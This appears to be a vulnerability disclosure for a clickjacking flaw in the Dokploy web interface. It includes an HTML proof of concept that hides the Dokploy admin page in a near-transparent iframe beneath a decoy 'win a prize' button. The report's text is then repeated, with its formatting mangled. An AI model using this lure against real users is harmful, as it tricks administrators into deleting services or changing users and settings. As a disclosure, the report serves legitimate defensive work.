Summary
The Dokploy web interface is vulnerable to Clickjacking attacks due to missing frame-busting headers. This allows attackers to embed Dokploy pages in malicious iframes and trick authenticated users into performing unintended actions.
Details
The web server does not set X-Frame-Options header or Content-Security-Policy with frame-ancestors directive in HTTP responses. This allows the Dokploy interface to be loaded within an iframe on any external website.
Affected endpoints include:
- Port 80 (TCP HTTP)
- Port 3000 (TCP HTTP)
- Port 8081 (TCP SSL/HTTP)
The vulnerability was identified using WhiteHack security scanner.
PoC
- Create an HTML file with the following content:
<!DOCTYPE html>
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button below to win a prize!</h1>
<div style="position: relative;">
<iframe src="https://[DOKPLOY_INSTANCE]:3000"
style="opacity: 0.1; width: 1000px; height: 600px;">
</iframe>
<button style="position: absolute; top: 200px; left: 300px;">
Click me!
</button>
</div>
</body>
</html>
- Host this file on an attacker-controlled server
- Trick an authenticated Dokploy user into visiting the page
- User's clicks will interact with the hidden Dokploy interface
Impact
An attacker can trick authenticated administrators into:
- Modifying deployment configurations
- Deleting applications or services
- Changing security settings
- Creating or modifying users
This is a UI Redressing attack that requires user interaction but no authentication from the attacker's side.
agentHits Reporter
Summary
The Dokploy web interface is vulnerable to Clickjacking attacks due to missing frame-busting headers. This allows attackers to embed Dokploy pages in malicious iframes and trick authenticated users into performing unintended actions.
Details
The web server does not set
X-Frame-Optionsheader orContent-Security-Policywithframe-ancestorsdirective in HTTP responses. This allows the Dokploy interface to be loaded within an iframe on any external website.Affected endpoints include:
The vulnerability was identified using WhiteHack security scanner.
PoC
Impact
An attacker can trick authenticated administrators into:
This is a UI Redressing attack that requires user interaction but no authentication from the attacker's side.